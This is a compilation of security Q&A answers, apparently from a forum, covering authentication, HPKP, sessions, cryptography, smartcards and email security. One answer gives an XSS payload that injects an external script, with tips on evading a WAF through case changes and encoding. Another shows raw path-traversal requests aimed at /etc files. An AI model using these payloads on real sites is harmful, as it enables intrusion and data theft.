In each of these steps, you verify one set of data of the client, against another set of data of the service provider. In multi-factor authentication, this data can have different forms and/or roles, such as something the user is, something the user has, something the user knows, e.t.c., or the previous sub-process produces new set of data (or a ticket, token, nonce,...) that the next process uses to determine the outcome of its function. The level of verification, or number of times the producer's data is verified against, (or scrutiny, as @TerryChia put it), denotes how we in turn call this verification process.

TL;DR - If it involves verifying access permission, we call this verification process as authentication.


Effects of new random Session token for each HTTP Request

This solution would help to protect against a replay attack form a passive listener, but in if you were doing the session over HTTPS (as you always should), it would be hard to replay in any case.

One think I'd recommend you think about is what happens if the client doesn't receive one of the sessions for whatever reason.  Do you accept any of the last 5? Do they have to reauthenticate?


Will browsers recognize HPKP header on subdomain if I set it only on domain.tld and add includeSubdomains in it?

If the  user never visits domain.tld  and the HPKP header is only send on requests to this domain then the browser will never see the HPKP header. But only after the browser has seen the header it has any effect. Once the browser has seen the header it will also affect the subdomain since you've specified it, but the header will not magically travel to the browser when doing requests for the subdomain only. Thus you should add the header to all affected domains to make sure the browser gets it and gets also the updates.

  So there is no connection to any other service for checking correct settings of HPKP?

Correct. HPKP uses only the communication between the browser and the server sending the HPKP header, i.e. your server. Everything is solely under your control. And if you mess it up only you can fix it.

  If I use browser in private mode and I visit my site with misconfigured HPKP, will this problem disappear if I remove HPKP header and visit site again in non-private mode?

I have no source for this but I doubt it. HPKP will be either fully shared with the private mode and thus the problems persist there, or no sharing will be done in which case the problem happens not in private mode but still happens in the non-private mode. I don't think that sharing will only be done in one direction and especially not from private mode to non-private mode.


Are there any systems out there that use a one-time pad?

The problem with a one time pad, is that is must be equal in length (or longer) than the data being encrypted , and must never, ever, be reused.

Just as you indicate, how would they send the key?, the OTP must then be sent in a secure way... however that is the problem that is usually left to the user and is generally why OTP is useless.

If you have the ability to send a large OTP securely, then you might think you could simply send the stuff you want to encrypt directly to the recipient over that secure channel.

However the benefit of a OTP is to move secrecy through time. If you have a secure channel now (e.g. an in-person meeting) you can exchange an OTP. You have banked some secrecy for later. Later when you do not have a secure channel, you can use up a part of your pad to make your message secret.

The improvement over OTP is where they make a small seed (a key) and use an expander called a PRNG to expand that key into what is essentially a stream cipher.  This way you're only sending a small amount of data securely, and can encrypt lots of data with that expanded key. This is called "key stretching".


How does does the "Sign out all other sessions" feature work in Gmail?

This is a pretty simple task to accomplish.

Basically the server will store the session IDs of each individual active session in a database somewhere. Revoking a particular session is a simple task of removing the record from the database, which will invalidate the session.


What happens if my public key on server is changed by someone else?

Are there any safeguards against this kind of behavior?

Other than protecting the server as much as possible? No. And it's not even necessary to change keys or whatever. Root can do everything, even mimicking Bob without key change.

Fail2ban, Snort, SeLinux, etc.etc. ... use them appropriately.

...

For root logins, ie. not some bug which allows to do some specific thing, and not necessarily by someone outside of the company ... if you're very concerned about malicious IT staff etc., some sort of "peer review" system could help (and cameras, steel doors, no USB ports, no screws, self-destroying hardware (yes) ... well, you have to know how trustworthy your colleagues are).

Every machine reports root logins to another independent machine (before the person logging in can prevent it; and if the reporting fails the login fails). And every access has to be approved and overseen by a second employee. A logged access without two signatures on the form means there is a breach, everything since then is not reliable anymore.


How to defend myself against potential malicious browser add-ons?

You cannot trust either FF or Chrome to check addons. They do remove the reported ones, but it may be too late.

One way you could test things is monitor traffic between before and after enabling an addon so you detect if something is wrong.

Another way is to only get trusted ones, the ones already tested by thousands of community members.

Anti-viruses will not help because some addons are specifically designed to transmit encrypted data (proxy addons, encrypted chat addons and so forth). Malwarebytes, for example, has a browser extension, but it's something that prevents from general web-site malware; an addon can transmit encrypted information (just like the actual browser or even the OS can) without you or any AV/Extension/defense being able to detect what is transmitted.

Recent browsers can launch separate privacy modes which by default do not load any addons, so if you want to play something sensitive the safe way, you can always use that option.


How did someone log-in to my Gmail account from Kenya?

Your password was not stolen. As you pointed out, Opera Mini uses proxy servers. Per the link provided in thexacre's answer, Google incorrectly identifies the servers as being in Nairobi, Kenya:

  When you use Opera Mini, you're connected to Opera servers, which
  download websites you want, compress and transform them, and at the
  end they are sent to your phone. So the idea is similar to proxy
  servers. IP address on the screenshot you attached is in fact one of
  Opera Mini servers, so you shouldn't be worried. I don't know why it's
  detected as Kenya, you'd better ask Google.

So everything was fine except for Google's IP geolocation.


Can system be monitored while VPN is disconnected?

It is my office laptop and we have softwares installed on it.

Software to monitor the activity on the system does not need a working network connection at all time. It is sufficient if the software logs information to the local disk and later these information can be collected.

But this does not say in any way that your employer is actually monitoring what you are doing when you've disconnected from the VPN nor that it is monitored what you are doing when being connected to the VPN. It only says that just being disconnected from the VPN does not make it impossible to monitor the activity.


How does a password authentication over a TCP protocol actually work?

Secure Communication
The communication protocol must be secure.  If the communication channel is insecure then the authentication is insecure.  TLS/SSL is one way to secure the communication protocol.  If you don't use TLS/SSL you would need to build a framework to build a secure communication protocol over an insecure link.  If done properly (authentication of server, authentication of client, secure key exchange, encryption, message authentication, robust handling of downgrades, etc) the protocol would be complex.  For all practical purposes you would just end up reinventing TLS/SSL.
So as written only #4 and #5 are secure and for most applications #4 should be the primary choice.  This isn't to say you must always use #4 but you should be able to clearly articulate why in this scenario #4 is inferior to an alternative.
Zero Knowledge (deniability)
A variant of #5 can be useful in niche applications where zero knowledge or deniability is a core design requirement.  Understand that is adds additional complexity so if you don't need deniability you are building a more complex system without improving security.  Higher complexity means higher cost and greater possibility of introducing weaknesses which can be exploited.
An example of where zero knowledge authentication would be useful would be an online backup service.   If the server has the encryption keys the service can be forced to reveal them (potentially covertly and without due process).  If the server never has the encryption keys then they can't be forced to reveal what they don't know.
The raw file encryption is pretty straightforward.  The encryption key is generated from the user's password by using a KDF.  Files are encrypted client side and transmitted to the server.   The server never has the user's password or encryption key.  The challenge is how to authenticate the user (for verifying account status, billing, allowing uploads, etc).  The default process of the user sending the password (#4) defeats the client side encrypting of data.  So the site could have the user take the password hash it client side and supply that to the server.  The hash should be produced differently from the encryption key (same kdf but different number of rounds or same password but a static prefix).   One improvement over what you laid out would be that the server doesn't have to store the user's authentication hash directly.  The server can store a hash of the hash which would prevent false authentication even if the password list is compromised.
Asymmetric Cryptography for Authentication
An option not listed would be to use an client side certificate to authenticate the client.  The cert creation, management and secure storage/backup needs to be done completely client side or there is no point.  The private key can be encrypted with client side password for additional security.  TLS/SSL supports client side certificates so if this is a design requirement I would start there rather than reinvent the wheel.  One advantage of ECC over RSA is it is more friendly to low powered and memory constrained devices like smartcards so this is becoming a more realistic solution although user education is still a challenge.


Is the CSR and public key the exact same thing?

No, they are not the same.  A public key is actually one member of a "key pair", consisting of both a public key and the matching private key.  The CSR is a Certificate Signing Request, which is just a form you fill out.

When creating a CSR, you attach your public key to it and fill in other needed data; you then send it to a Certificate Authority (CA).  The CA takes the data from your form, and if you pass all their validation tests (i.e. your credit card is charged), they use the data from your CSR to create a certificate, and then they sign your new certificate with their "root" certificate.  This gives the rest of the world assurance that the public key found on the certificate is actually associated with you.

Normally, nobody but the CA needs a CSR.

In your case, it sounds like you're stuck in the middle of someone else's process that hasn't been described adequately.  If this "HPKP backup key generation" (whatever that is) is creating a public/private key pair, they may be asking for a "blank" CSR to use as a template to request a new certificate every time they generate a new backup key.  (Really, they probably just need the data fields you want on the certificates.)  But that CSR is always incomplete because the public keys haven't yet been generated.

You probably need to sit down with both the certificate people and the HPKP people, and figure out who actually needs what.


There is no reason to assume that because another program can decrypt an AES encrypted file that it's backdoored. AES is a standardized form of encryption, so if your proprietary protocol implements this standard, then it's quite normal that you can decrypt this data with openSSL as well (which also follows this standard).


XSS from image upload - does cropping solve most issues?

You can create an entirely new copy of the image, store that, and then discard the original.

Your path would become:

Upload image.
Crop to 50px x 50px.
Use ImageMagick or something similar to create an empty 50x50 image (in whatever standard format you want or with other controls added).
Copy the pixel data from the original to the new.
Save the new version.

If ImageMagick can't read the original, then perhaps there's something funny going on and it should be rejected anyway.


The only difference is that with old-style SSL, it is implied that you will start SSL negotiation immediately upon connection. With STARTTLS, you go through the same process, but only after issuing/receiving a STARTTLS command. The protocols are designed to throw away any information discovered or negotiated before the connection was secured, and start over again from scratch.


If I send an email over SSL, will it always be transmitted over SSL?

You can't be sure that SSL will be used all the way, because there's no specification requiring that. When the email was designed, long time ago, no one bothered about encrypting the connection between the sender and the receiver, including any point that transmitted the email. So, to comply with email specifications, no one needs to encrypt it using SSL, and you can't assume it will be encrypted.


How can I make payments on the Internet without leaving a money trail?

To protect your privacy and avoid tracking, nothing beats cash.

There are various services that let you purchase credits in cash at a brick and mortar store, which you can then later use to purchase goods and services online.

One example is paysafecard (I haven't tried it, but you should also be able to buy bitcoin with cash). There are a number of VPN providers which accept these payments.

Alternatively, you could simply purchase your VPN access directly offline at a store.

There are also domain registrars which accept these payment methods, but most will ask for identifying information (name, address, etc) when registering a domain. So if you want to conform with registrars TOS, registering a domain anonymously wouldn't be possible. You can hide your information from third parties by requesting that your registrar doesn't disclose the information, violate the TOS by providing false information (not recommended), or find a registrar or third party service that does not request this information.


Some switches support the private VLANs concept, which does exactly what you describe. It's not really common on low end devices though. The alternative (which may be a bit more flexible) is to use local firewalls (which is a good idea anyway) and allow only traffic to and from specific hosts and ports.


How does Windows Active Directory verify a computer's identity?

Like most entries in the Active Directory the computer accounts have a globally unique identifier (GUID) that serves as the primary way their object is identified.  The computer name is a property of the computer account object, and like you said it can be changed. But the name change doesn't change the GUID.

Domain member computers are also Kerberos principals in the AD, which means that domain controllers have an associated account password hash they can use to authenticate the computer when it comes online.  This password is associated with the computer account object, so renaming it doesn't change this.

Renaming a computer could potentially cause some DNS problems, but the renamed computer still won't have the right password for the computer account it is trying to impersonate.  So from an AD perspective it is clear the computer isn't who it says it is.


First off, any kind of sensitive information is supposed to be transmitted via secure channels. In this case it is theoretically possible to capture the session ID using a packet sniffer on your network for the communication is not encrypted, as you say. The Wireshark tool even has a decent filter to make it easier to debug WebSockets communication. However, you say your application accesses data inside PHP's session files. What kind of further attack is conductible depends on your application, e.g. if you print out the file contents or a part of. According to the information you provided, it might be possible to forge other users' data stored in their respective session file by manipulating the session ID if the WebSocket receiver (Node.js in your case) is available not only to your PHP application (e.g. a port is exposed to local network or the Internet). Some more details would help.


Security of a sessionID stored in a div in the page source

Whether the session is stored in a variable on the page or within a cookie they suffer the same risks. That said storing a sessionID on the page is a method that has been used many times. To mitigate any risks with sessionIDs being tampered with you can always ensure they are transported over the TLS protocol.


DNS Spoofing vs ARP spoofing, the relationship?

ARP packets are layer 2, which is to say, they are never routed.  They only have meaning and context in a network configuration where two devices can both 'see' the same wire.

DNS packets are layer 3 (usually UDP/IP, sometimes TCP/IP) and are routable.  So yes, spoofing for DNS can be done anywhere as long as it eventually routes the packet to the target machine.

ARP spoofing is not required for DNS spoofing, and in general a DNS spoof attack will not involve ARP spoofing.  Since DNS is usually over UDP, packets can be spoofed without the complexity of ARP spoofing - you just need to fool the application layer, not the IP stack or state.  ARP spoofing is used to fooling the network layer, so that (for example) a TCP handshake can be made between an imposter machine and it's victim.


Is there anything wrong with using the same username for all api users with HTTP basic authentication?

It is used to facilitate the use of Basic Authentication functionality, Basic Auth requires you to send a username too (rfc2617):

  The "basic" authentication scheme is based on the model that the client must authenticate itself with a user-ID and a password for each realm.

In MailGun's case, they just use the API token to both identify the user (which is what a username normally does) as well as authenticate that user (password).

They could have used a custom header, but it's probably (or - arguably) easier to use basic authentication to be able to reuse existing functionality with legacy clients.


onpointerover is just an event that requires an event handler which you can specify inline as:

onpointerover = (event) => { document.write('<script type="text/javascript" src="your_external_js"></script>'); };

Or alternatively document.getElementById('the_id').innerHTML("<script>...</script>") etc...

I'm assuming your WAF evasion is based on JavaScript keywords in which case you'll need to tinker with the word script as it could get blocked. Try adjusting the case or encoding it if that's the case eg: ScRiPt etc...

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet


Client-side encryption, but cloud service can still decrypt data in the event of a death? Is this possible?

Update:

PasswordBox responded to my inquiry on the subject. Personally, I couldn't really figure out what they're talking about. It could be a problem in my understanding. Below is a screenshot of their reply

This is a very interesting question. PasswordBox seem claim that they can never have access to your passwords. According to their FAQ page:

  PasswordBox servers will NEVER see your decrypted data

  PasswordBox never sees or stores your Master Password, so we can never
  gain access to your data

The only left possibility (that I can think of) is that half of the key might be stored in the client and other half is on their servers. So they truly cannot access your data, and when you request access to a loved one's account they have a way to send half of the key from their server to client (on the deceased person's computer or mobile) and thus the decrypted data is only on the client itself.

Please note that when I say "half of the key" it's because of my lack of knowledge in cryptography. There could be some way where two parties can share two parts of a key in a way that two parts are needed actually access the secret.

Update: Thanks to @DeerHunter's comment, it seems that there is indeed such a scheme, it's called Shamir's Secret Sharing Scheme. I've just downloaded the implementation and played with it a little. To me (again, very shallow cryptography knowledge) it seems like it could be a good candidate for the problem proposed in your question. You can try it for yourself.

SSSS-split(shares, threshold, secret)
SSSS-split(2, 2, "YOUR_KEY")

Shares = 2 (a piece for you, and a piece of the service)
Threshold = 2 (at least two of pieces are needed to recover the secret, here it means all the pieces)

Note: All of the answers (including this one) are just speculations. We still don't really know what is going on because PasswordBox aren't sharing much technical details. Lucas and I have already sent emails to PasswordBox and we're waiting for an answer. Once we receive a reply, the answers will be updated accordingly.


Why is my computer connected to amazon instances

Whenever you browse a website, your computer makes a connection to the site itself and to the servers hosting any resources requested by that website.  I've seen sites that include literally dozens of 3rd party resources -- fonts, ads, tracking pixels, javascript, stylesheets, and images are just some of these resources.  So to visit a site, you may make connections to dozens of different servers.

Of course, those servers won't be named ec2-xx-xx-xx-xx.compute-1.amazonaws.com in the source code.  They'll instead have a name like "examplecdn.com".  DNS is used to convert the hostname "examplecdn.com" to an IP address, which is what your computer actually connects to.  It's like looking up a phone number in an old-school phone book and dialing it.

So how do you get the EC2 name in your netstat output?  Well, netstat does something called a reverse DNS lookup.  It asks the DNS server to give it a hostname for an IP address.  This name does not have to be the same as the "examplecdn.com", it's again just a directory service.  For all the big cloud providers, you'll see that this defaults to some hostname based on the cloud provider's name.  Under Amazon, it's something under amazonaws.com, (and in fact, the ec2-XX-XX-XX-XX should correspond to the IP of the host), and under Google Cloud it's "googleusercontent.com".

So, in summary, what you're seeing is that some resource requested by your computer is hosted by someone using AWS as their service provider.  It's not inherently suspicious.


Crypographers could point out that, when you read the fine print, there is no proof that secure hash functions actually exist at all. The only thing we have now are candidates for which no weakness has been found yet.

So the best you can hope for is a function which has survived scrutiny by many cryptographers for a long time. Also, you need it to have a wide enough output (256 bits are enough if you wish to achieve "128-bit security" and getting beyond that has little sense). Right now, as of summer 2011, this points to SHA-256 or SHA-512, not Whirlpool.

Basing the iteration count on the time it takes on a typical machine is a good idea -- but basing it on the time it really takes on your machine is not a good idea. Otherwise, you could end up with low iteration counts for some passwords because the machine was handling many requests at that instant (a situation which an attacker could force, by the way). Using many iterations is meant to thwart attackers by making password hashing slow on the attacker's computer -- that it also makes it slow on your system is an unfortunate byproduct; but the true target is whatever machine power the attacker could muster. Since you cannot really make benchmarks on the attacker's machine, you have to resort to rough estimates, hence a fixed count, as high as possible as long as the average burden is tolerable on your system (the important word here being "average", which disqualifies a dynamic measure as you intend to perform).

Also, the attacker's machine needs not look like yours; it may be, e.g., a GPU or a FPGA, which offers distinct computing abilities from what you can get on a typical server. You want a function for which an attacker will not be able to get huge performance boosts by using non-PC hardware. There again, this promotes SHA-256 or SHA-512, which are meant for CPU efficiency (with 32-bit or 64-bit arithmetic operations), not Whirlpool, which can benefit from hardware optimizations similar to those AES was designed for.

Finally, iterations are just part of the job; you also need a long enough, unique enough salt. Iterations and salting can be a bit tricky to do at the same time; you are warmly encouraged to use a standard construction such as PBKDF2 (although it was meant as a key derivation function, not a password hasher, PBKDF2 turns out to be reasonably good at that too).


Why OpenSSH had so many security vulnerabilities?

Found bugs for OpenSSH will have larger impact as it is the most popular SSH implementation nowadays. On one side, it is useful as it means security professionals pay more attention to OpenSSH so that developers can update the system more often. As long as sysadmin always keep their software updated and patch them whenever there are known vulnerabilities, then it's good.


You can't effectively prevent someone from imitating the app. Even if
 you establish some sort of "secret app token" that only the app uses and encrypt the
 communication, it will still be possible to reverse-engineer these measures with manageable effort and mock
 the app behaviour.


Are some programming languages more secure than others?

Different programming languages have different security properties, but I wouldn't go as far as saying Java is "more secure" than C#, for example.

Languages can for example differ in whether they are weakly typed or strongly typed. In a weakly typed language, you can compare a string with an int and the interpreter converts on to another. This can introduce some errors, for example if you try to compare the password hash 0e912893899. It turns out this is a valid number in scientific notation, and has value 0. So in PHP, for example, 0e123 equals 0e456.

Language implementations can also differ in quality. For example, PHP's base_convert function has a limited precision and it is a bad idea to use it on a secret token. However, there is nothing preventing PHP from fixing this, or from another PHP implementation to do this correctly.

Furthermore, languages can differ in their memory management. In C you can allocate 10 bytes of memory and then write 20 bytes into it, which is a security issue. This is not possible in most other languages.


Why digital signatures needs different algorithm

When you use a mathematical primitive directly, it's often vulnerable to mathematical relationships. The raise-to-the-power-of-$d$-or-$e$-modulo-$n$ operation (sometimes called “textbook RSA” or “plain RSA”) has a simple mathematical structure so it's easy to find some of the transformations it allows. For example, suppose that you know that the signature of message $M_1$ is $S_1$ and the signature of $M_2$ is $S_2$. Then the signature of $M_1 \cdot M_2$ is $S_1 \cdot S_2$, because $S_1 S_2 = M_1^d M_2^d = (M_1 M_2)^d$ (all equalities are $\mod n$). You can forge a signature without knowing the private key. That's bad. And this is just one example.

Constructions such as PSS, and PKCS#1 v1.5 padding before it, avoid this kind of mathematical relationships. They encoded each message in such a way that there is no simple arithmetic transformation between valid encoded messages.  PKCS#1 v1.5 does it by padding the message. For example, it avoids the attack above because $\mathrm{pad}(M_1) \cdot \mathrm{pad}(M_2)$ is not a valid padded message, so $S_1 \cdot S_2$ is not the signature of anything. PSS does it in a more complex way by masking the message and then padding the result.

So between plain RSA and the signature schemes RSASSA-PKCS1-v1_5 and RSASSA-PSS, the difference is security. Plain RSA as a signature schemes has many security holes, whereas RSASSA-PKCS1-v1_5 and RSASSA-PSS are both considered secure today. There are reasons to prefer PSS: v1.5 padding has known problems for encryption and there is a risk that someone will find a way to adapt the attack to signatures. Also v1.5 signature is tricky to implement correctly and even after two decades, some implementations don't get it right; PSS has fewer subtleties.

Between RSA-PSS, DSA and ECDSA, there is no particular security reason to choose one over the other. It mostly comes down to performance and ease of implementation. DSA is slower; it emerged when there were concerns about patents that might apply to RSA, but those patents have expired and DSA is dying out. Most new protocols favor ECDSA (or the newer variant EdDSA). ECDSA keys and signatures are smaller than RSA, which matters on embedded devices and ultra-low-bandwidth communication protocols. ECDSA signature is also significantly faster than RSA signature, but verification is slightly faster with RSA.


Why do I get all of these bad header checksum messages?

Probably because, as Wireshark notes on the first red line in the display, your OS and network adapter are doing IP checksum offloading, and the packets in question are being sent by your machine, so that the CPU sends them to the network adapter with the IP checksum set to 0, and the network adapter computes the checksum and fills it in before sending the packet.

As the mechanisms used by libpcap/WinPcap to capture packets sees transmitted packets before they are handed to the network adapter (the only way for to see them after they're handed to the network adapter is to attach a separate network adapter to the network and capture them after they've been transmitted on the network), they will see packets with an IP checksum of 0.


TrueCrypt alternative (encrypt partition)

Truecrypt's advice on this makes sense: use the native FDE that came with your operating system, i.e.

Bitlocker on Windows
FileVault on OSX
whatever your distro suggests (typically Encrypted LVM) on Linux.

(This will not necessarily be a good fit for everyone, but without more details of an individual requirement, it's the best advice you can reasonably  give.)


General mutterings in the chat room seem to indicate that certs are primarily for entry level positions. My personal opinion is that certs are for HR. HR will either require, give some preference, or completely ignore certs. The cert will only appear on the resume and maybe a good line or two on a cover letter. If a cert is required for a position you will either have it or not. Given the number of certs you currently have, unless you know you will need either MCTIP or CCNA for a position, focus on other accomplishments you can discuss in an interview.


What to do about websites that store plain text passwords

There isn't really much you can do, other than contact the website and try and explain them how bad of an idea and practice it is to store (and email) passwords in plain text.

One thing you can do is report any offending site to plaintextoffenders.com - a site (currently a tumblr blog, but we're working on a proper site soon) which lists different "plain text offenders" - sites that email you your own password, thus exposing the fact they either store it in plain text, or using a reversible encryption, which is just as bad.

With everything that's happened with Sony, again and again, people become more aware to the dangers of sites storing sensitive details unencrypted, yet many still aren't. There are over 300 sites reported, with more reports coming every day!

Hopefully, plaintextoffenders.com helps by exposing more and more sites. Once this gets enough attention on twitter or other social media, sometimes sites change their way, and fix the problem! For example, Smashing Magazine and Pingdom have recently changed the way they deal with passwords, and no longer store nor email the passwords in plain text!

The problem is awareness, and I hope that we help the cause with plaintextoffenders.


Unable to understand why the web app is vulnerable to a Directory traversal attack

I sent a report for a similar vulnerability recently and got a similar response.

Turns out most browsers and CLI http clients remove path traversal components from the URL.

For instance if on Firefox you type the URL http://example.com/../../../etc/passwd the GET request that arrives at example.com will look like this:

GET /etc/passwd HTTP/1.1
[Ommitted headers]

Same deal with wget.

You should try with a lower level tool, like telnet or netcat:

$ telnet example.com 80
GET /../../../etc/issue HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 07 Sep 2016 12:38:13 GMT
Server: ECSF (fll/078B)

Then again, it might have been a false positive, your auditor should've included the contents of /etc/issue in the report. That's kind of the point of using issue and not passwd.

You should at least follow up with your auditor to confirm whether it was a false positive. If that's not possible, arrange a new pentest or perform your own with a path traversal fuzzer like dotdotpwn

Never assume you're secure, ensure you are. Especially after a report like that.


What to say to the webmaster of a site that sends passwords by e-mail upon registration?

It's certainly not a secure practice.
But as to whether insecure sites using this practice are worse than other insecure sites, it depends on your users and threat model.

If 50% of your users' passwords are "111111", "qwerty" and "bugmenot", and 45% are equal to their logins, you could actually improve security that way.

If your password reset policy requires nothing but the user's email, which is very common, then any MITM or anyone with access to your or your user's mail has the door open already. However, they're not the only threat...

The real problem is the implications of such a practice. Hopefully the passwords aren't stored in plaintext, but emails get kept in some databases, and these passwords will leak when one gets mined. I get a lot of targeted spam offers to sell out the user DB of a website I run; don't know how many people accept those, but some clearly do.

Of course, if the only thing of value on your website is the users' email addresses, the damage has to be weighted against the mitigation of damage from password reuse for users who don't care.

For a site that has user data of real value, or especially a financial one, any transmission of the password is highly inappropriate. Even if it has to be changed immediately, that one-time login is better done with a one-time authentication token. So it's unlikely that any site following this practice is designed in a secure way.


Can a powered down cell phone be turned on remotely?

Who's to say that the phone is really off?  If someone controls the firmware of the device then the off functionality could be replaced with state in which the phone appears to be "off" but is in fact maintaining a line of communication to a remote user.

However firmware cannot stop you from introducing a hardware switch to disconnect the microphone.   A similar switch could be used to disconnect the battery.  With physical control over the device you can just move to a lower layer than your attacker and cut them off.


How can it be easy to write but "impossible" to extract the private key from a crypto token?

Well "impossible" is impossible to prove which is why in the linked answer I said "almost impossible", maybe even that is overstating it.  By using a secure hardware device the attack vector goes from "malware installed remotely on host steals secret," to "attacker needs to physically gain access to the hardware device and destructively remove the private key."  The latter is certainly not impossible, but it is a lot more difficult.

Those usb dongles work very similar to smartcards.  I have more experience with smartcards so I will use that in the answer but most of the same principles apply.  In fact many of those usb dongles use a smart card SoC internally.  They are cheap, programmable, and offer robust security so in many applications it makes sense to just use a smartcard internally rather than try to build something new.

A programmable smartcard is a complete computer in a single chip, or system on a chip (SoC).  Now it is a very limited computer but still a computer.  The connection to the "outside world" for the smartcard is a low privilege simple serial interface.  The card gets a command (more like a request) from the host and the card responds with a response.  The commands are limited to what the card has been programmed to do.

So if we have a smart card programmed to digitally sign an instruction (like a payment request in credit card EMV), the host will send a request over the serial interface to the card consisting of a command and some inputs.  The card parsed the command and assuming it is valid it sends back a digital signature to the host over the same interface.  In many ways it resembles a client-server relationship with the smartcard being the server and the host system being the client.  The private key never leaves the card during the process.  It is just request in, response out.  The host has no mechanism to force the smartcard to return the private key or do anything it wasn't programmed to do.  Of course this assumes there is no "please give me all the private keys" command which would obviously be pointless and provide no security.  The smartcard may have a user assigned PIN and the PIN is part of the command format.  The smartcard verifies the PIN and if it is invalid will reject the command.  It has its own internal memory so it may record internally the number of invalid attempts and be programmed to shutdown (or in extreme cases erase the card).

The programming (flashing) of a smartcard is done prior to shipping.  Of course if an attacker could just reprogram the smartcard to run a "give me all your keys" program it wouldn't be secure so most cards employ some sort of security bit in write once memory.  So the card is programmed and the write bit set.  The card will then reject any future attempts to reprogram.

Try not to get hung up on a smartcard doing exactly this.  They are programmable devices so they will vary in implementation but the general concept is you have this self contained computer with its own internal secure storage which has been programmed to respond to requests from a host over a simple low permission interface.  I do agree the word "impossible" is marketing but it isn't that far from the truth.  You could say practically impossible.  The very basic design and locked functionality means you end up with a hardened device that is difficult to attack.

However the old axiom "there is no information security without physical security" still applies.  The private key is still physically in the smartcard.  With physical access and enough motivation you can do pretty much "unsecret" any secret. As in the linked example the smartcard can be bypassed and the key read out directly off the physical memory.  A common method is to take the card, remove the SoC and use acid deconstruction to burn away package.  Using an electron microscope and enough skill you could locate the spot on the silicon which stores the keys, connect leads and read them out. It has been done so it definitely is not impossible but in most cases that isn't the type of attack or attacker we are trying to defend against.  Honestly if your attacker would go to that level I would be more worried about a $5 wrench.


Data anonymization/ encryption requirement

I understand your issues, but one of the fundamental maxims of cryptography is that you shouldn't reinvent the wheel and create your own encryption algorithm, primarily because it will be nowhere near as secure as an established one.

Is this data going to be accessible over the Internet or transmitted over unencrypted channels? If the answer to either of those is yes, the risk factor rises exponentially. If you use your own home-baked efforts at obfuscation, all it takes is a determined hacker to find this out and they will have all of your SSN details.

How could they find it? What if you customer leaves something lying around telling him how to decrypt? What if your email gets hacked? What if you server isn't as secure as you thought it was?

You really need a solution where if any of those things happen an adversary still couldn't decrypt the data, and really that only comes with established public-key infrastructure. Sure there are ways to defeat that, but unfortunately the reality is that they are a lot more difficult than it would be to compromise a home-grown encryption algorithm.


There is a possibility that the other iPhone was... yours.

Your IP address is awarded to you by whatever technology provides your Internet access. When you connect over 3G, the IP address comes from your phone company. When you connect over WiFi, you get an IP address from the WiFi access points. The IP addresses can be "dynamic", i.e. it may change over time. Also, each WiFi access point can only give you an IP address that it owns, and most such access points use NAT.

This means that when you connect to WiFi access point A, you get a "private IP" and all your traffic is seen, from the outside (and in particular from the bank server), as coming from A's own unique IP address. If you then use this nifty feature of mobile phones, namely their mobility (you can walk in the street with a phone, there is no wire to deal with), then you may walk away from the range of WiFi access point A, and enter a zone covered by WiFi access point B. Your iPhone, being a smart phone, will automatically connect to B. But then, your requests will come out with B's IP address, not A. Nothing will warn the bank server that your phone has disconnected from WiFi access point A; all that the bank sees is a request bearing B's IP address, whereas a few minutes before they got a request bearing A's IP address. From their point of view, this means that there are two "connected" clients, and they warn about that.

(The technical point here is that Web requests are that: requests. You do not have a direct, permanent connection between your phone and the bank; this is not a phone call. This is more akin to mailing: your phone sends a request, the server sends back a response, but there is no way for the bank to know if you relocated elsewhere since the last request you sent.)


Could the VPS host have access through WinSCP to the connecting computer's files?

WinSCP's connection is one-way. You do not automatically open up the connecting computer to the connected computer.
If there was a very specific vulnerability in WinSCP, then it could be possible that this access could be granted, but then the connected computer would have to know about this vulnerability and purposely exploit it.


If you want to verify that the information on the SMTP logs is correctly and has not been tampered probably you will need to implement extra functionality on your M
TA. On the past, I worked on a project and we got the same problem, basically we implement some functions with PKI and Hashing (SHA1) to prevent any one could modify a log file (malicious admin). Not sure if opensource MTAs have that functionality.


What are the consecuences of using a false name when using a valid credit card on the internet?

There are two related questions here.

Can the merchant charge your card given an invalid name field?

In general, yes.  Name validation is usually not turned on by default, so from a card processing point of view the name you gave is stored at the processor, but not passed on to the card brands during authorization.

If Name Validation is turned on (or if your merchant is using Address Verification), they may decline your transaction if you provide invalid name (or address) information.

So, assuming no validation, the processor will store whatever name you gave, and associate it with your charge records which are available to the merchant.  So long as you're consistent in presenting the same fake name, that's all they'll see.

Can the merchant request your name given your valid card number?

Essentially, no.  Card-brand-to-processor-to-merchant data flows like Account Updater don't include the cardholder name.  I'm not aware of any API to allow merchants or processors to query this information.  It's not part of the standard card data flow.

I'm hesitant to say it's impossible, however... your issuing bank, obviously, knows the name on the card.  And it's not unthinkable that the merchant might fax a request for clarification of that information with some hand-waving about potential fraud and get a response which includes your cardholder name.  And if Law Enforcement ever gets involved, they'll have your full account info in two shakes of a lambs tail.


Does Whatsapp change key when switching phone?

That's true. WhatsApp changes the keys when you switch the device. This also applies to the end-to-end encrypted conversations. But the cloud backup is not encrypted, or at least, not encrypted with the same device private key.


There is no simple answer to this question. VM software is still software and has vulnerabilities that can be targeted and thus, in theory at least, exploited to do more harm.

Running an infected VM with access to your network also opens up potential attack vectors.

Another interesting point to consider is that sufficiently advanced malware could be VM-aware and modify it's behavior when it detects that it's running inside a VM, masking the actual harm-causing capabilites.


Is it particularly unsafe to use openvpn or pptp with only username/password authentication instead of certificates?

Short answer: Is not unsafe.

Long answer:

The option of using a certificate or password to authenticate the client does not change the traffic encryption. It's only used in the first stage of the VPN connection. The server and client will negotiate the session keys only after authenticating the user, independent of the use of certificate or password.

If your password is strong enough, the average script kiddie will be not able to snoop on your traffic. Maybe it can even resist some advanced ones.


Understanding OWASP 2017 A8 Insecure Deserialization

Tldr: Clear distinction between vulnerabitily classes ist not always possible.

To look at "insecure serialization" in a different way first:
From the description, Owasps "insecure serialization" is a bit of a foggy mix of (imo) 3 separate problems:

A specific subsection of plain untrusted input values for the very first - who cares about serialization formats. In your code block, the admin:true (and the server believing this value) is the problem, nothing else. If it stands alone, outside of any Json etc., it's still the same problem.
Still untrusted input, but another section: Exchanging code (classes, methods...). If there is some dependency injection going on for a EncryptionAlgorithmInterface, and the available implementations are None, DES, AES256 and so on - what could I do with the serialized object? Changing the algorithm to none and then find a place where I can read the data while send over the internet.
Problems by definition in the serializer itself. What if send a never-ending stream of [[[[[[[[[[[[[[[... to a web service expecting Json (ie. Array of array of array of... and the values and closing ] are never sent)? A simple implementation will quickly reach a stack overflow (error, not website), crashing the server process.

Your Json web token link...

